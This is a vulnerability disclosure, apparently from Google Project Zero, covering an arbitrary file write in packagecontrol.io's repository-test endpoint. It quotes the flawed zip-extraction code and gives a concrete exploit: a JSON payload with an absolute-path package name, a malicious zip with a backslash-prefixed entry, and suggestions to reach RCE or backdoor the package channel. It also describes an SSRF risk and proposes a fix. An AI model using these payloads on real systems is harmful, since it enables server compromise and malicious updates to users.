Package Control Arbitrary File Write

[Kev]

 

Package Control suffers from an arbitrary file write vulnerability.

 

Package Control: Arbitrary File Write on packagecontrol.io

Package Control is a popular package manager for Sublime Text with over 19.77M users and around 65k daily package installs. 
packagecontrol.io is its main website and hosts the default channel (https://packagecontrol.io/channel_v3.json) 
used for installing and updating packages.

packagecontrol.io supports validation of Package Control's Repository JSON format via the
packagecontrol.io/test_repo endpoint. This endpoint passes the (JSON-decoded) POST body directly to
the run_tests function defined in app/lib/run_repo_tests.py
(https://github.com/wbond/packagecontrol.io/blob/1629533ad44cbea6258a172876f06e1bbb7db14f/app/lib/run_repo_tests.py#L69):

While the overall validation logic is somewhat complex, we are only interested in the final steps
where a package is downloaded and its content analyzed.
Most packages are hosted on Github or Bitbucket and use branch or tag based version management, but
it is still possible to manually specify a download URL by using a JSON configuration like the one
shown below:

{
   \"name\":\"test\",
   \"author\":\"Felix Wilhelm\",
   \"releases\":[
      {
         \"version\":\"2.0.0\",
         \"url\":\"http://plugin-host/package.zip\",
         \"date\":\"2021-02-25 10:00:00\",
         \"sublime_text\":\"*\"
      }
   ]
}


For configurations like this, the validation routine downloads the package ZIP file from the user
supplied URL, extracts it and runs a number of \u"file checkers\u" on the package files.
This is implemented in the code snippet shown below:

tmpdir = tempfile.mkdtemp()
if not tmpdir:
    return build_result([format_report('Could not create temp dir')], [])

tmp_package_path = os.path.join(tmpdir, '%s.sublime-package' % name) **A**
tmp_package_dir = os.path.join(tmpdir, name) **B**
os.mkdir(tmp_package_dir)
with open(tmp_package_path, 'wb') as package_file, downloader(url, settings) as manager:
    try:
        package_file.write(manager.fetch(url, 'fetching package'))
    except DownloaderException as e:
        ...

with zipfile.ZipFile(tmp_package_path, 'r') as package_zip:

    # Scan through the root level of the zip file to gather some info
    root_level_paths = []
    last_path = None
    for path in package_zip.namelist():
        if not isinstance(path, str):
            path = path.decode('utf-8', 'strict')

        last_path = path

        if path.find('/') in [len(path) - 1, -1]:
            root_level_paths.append(path)
        # Make sure there are no paths that look like security vulnerabilities
        if path[0] == '/' or '../' in path or '..\\\\' in path: **C**
            errors.append(format_report('The path \"%s\" appears to be attempting to access other parts of the filesystem' % path))
            return build_result(errors, warnings)

    if last_path and len(root_level_paths) == 0:
        root_level_paths.append(last_path[0:last_path.find('/') + 1])

    # If there is only a single directory at the top level, the file
    # is most likely a zip from BitBucket or GitHub and we need
    # to skip the top-level dir when extracting
    skip_root_dir = len(root_level_paths) == 1 and \\
        root_level_paths[0].endswith('/')

    for path in package_zip.namelist():
        dest = path
        if not isinstance(dest, str):
            dest = dest.decode('utf-8', 'strict')

        # If there was only a single directory in the package, we remove
        # that folder name from the paths as we extract entries
        if skip_root_dir:
            dest = dest[len(root_level_paths[0]):]

        dest = dest.replace('\\\\', '/') **D**
        dest = os.path.join(tmp_package_dir, dest)

        dest = os.path.abspath(dest)
        # Make sure there are no paths that look like security vulnerabilities
        if not dest.startswith(tmp_package_dir): ** E **
            errors.append(format_report('The path \"%s\" appears to be attempting to access other parts of the filesystem' % path))
            return build_result(errors, warnings)

        if path.endswith('/'):
            if not os.path.exists(dest):
                os.makedirs(dest)
        else:
            dest_dir = os.path.dirname(dest)
            if not os.path.exists(dest_dir):
                os.makedirs(dest_dir)
            with open(dest, 'wb') as f:
                f.write(package_zip.read(path))

    tmp_package_dir_pathlib = pathlib.Path(tmp_package_dir)
    for checker in file_checkers.get_checkers():
       ...


The code first creates a temporary directory to store both the zip archive and the extracted
content. It then downloads the zip archive and tries to extract all files while making sure that no
directory traversal attacks can be used to write to locations outside of the temporary directory.

However, there are multiple problems that still make such an attack possible:
1. The name variable is coming from the attacker controlled JSON file and used without any
validation (A). This makes it possible to create arbitrary directories by using a directory
traversal \u"../../../../tmp/test\u" or even an absolute file path \u"/tmp/test\u" as the name field of the
package. Absolute paths work because os.path.join has the following feature: \u"If a component is an absolute
path, all previous components are thrown away and joining continues from the absolute path
component.\u" (https://docs.python.org/3/library/os.path.html)
2. We can also create an arbitrary file with controlled content and the ending \u".sublime-package\u"
somewhere on the file system (B). On most systems this should already be enough to get arbitrary
code execution.
3. However, we can use another bug to create files with controlled content and a controlled name:
While the code checks for absolute file paths and directory traversals attempts in all compressed
file paths (C), it does not check for absolute file paths starting with a backslash. 
This is a problem, because backslashes get converted to forward slashes in (D). 
We can use this behavior and the os.path.join call to put an arbitrary path in the dest variable
by using a file path like \u"\  mp/test\u". 
The final check in (E) is not a problem for an attacker as tmp_package_dir is completely 
attacker controlled (see 1.)


Putting this together, an attacker can write arbitrary files on the packagecontrol.io host by
combining a JSON payload like

{
   \"name\":\"/tmp/test\",
   \"author\":\"Felix Wilhelm\",
   \"releases\":[
      {
         \"version\":\"2.0.0\",
         \"url\":\"http://plugin-host/evil.zip\",
         \"date\":\"2021-02-25 10:00:00\",
         \"sublime_text\":\"*\"
      }
   ]
}


With a zip file with the following contents (see attachment)
unzip -l evil.zip
Archive:  evil.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
       10  2021-02-25 11:22   \  mp/test1234
        0  2021-02-25 11:30   a/
        0  2021-02-25 11:30   b/
---------                     -------
       10                     3 files


This will create the file /tmp/test1234 (and a directory /tmp/test)
A practical attack would either try to achieve RCE by overwriting some script files or directly
backdoor channel_v3.json to push malicious updates to Package Control users.


Fix Suggestion:

The patch below should fix the described issues in the short term. However, I think a better way to
address these issues would be to move the whole validation logic (including the file checkers) into
a low privileged/sandboxed context. This would reduce the risk of similar bugs popping up.
diff --git a/app/lib/run_repo_tests.py b/app/lib/run_repo_tests.py
index d80895a..8bfdc01 100644
--- a/app/lib/run_repo_tests.py
+++ b/app/lib/run_repo_tests.py
@@ -112,6 +112,10 @@ def run_tests(spec):
         settings = downloader_settings()
         name = info['name']

+        if '/' in name or '\\\\' in name:
+            errors.append(format_report('The name \"%s\" contains invalid characters' % name))
+            return build_result(errors, warnings)
+
         tmpdir = tempfile.mkdtemp()
         if not tmpdir:
             return build_result([format_report('Could not create temp dir')], [])
@@ -140,7 +144,7 @@ def run_tests(spec):
                 if path.find('/') in [len(path) - 1, -1]:
                     root_level_paths.append(path)
                 # Make sure there are no paths that look like security vulnerabilities
-                if path[0] == '/' or '../' in path or '..\\\\' in path:
+                if path[0] == '/' or path[0]=='\\\\' or '../' in path or '..\\\\' in path:
                     errors.append(format_report('The path \"%s\" appears to be attempting to access
other parts of the filesystem' % path))
                     return build_result(errors, warnings)


There is also a pretty big risk of SSRF attacks, as the download manager does not perform any
validation of the url prior to fetching it. For example, an attacker could use this to send
requests to the redis instance listening on localhost. This is pretty difficult to fix correctly so
one idea might be to remove support for non github/bitbucket packages (and therefore attacker
specified URLs) from run_repo_tests.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report
will become visible to the public. The scheduled disclosure date is 2021-05-26.
Disclosure at an earlier date is also possible if agreed upon by all parties.




Found by: fwilhelm@google.com

 

Download GS20210226161937.tgz (3.9 KB)

 

Source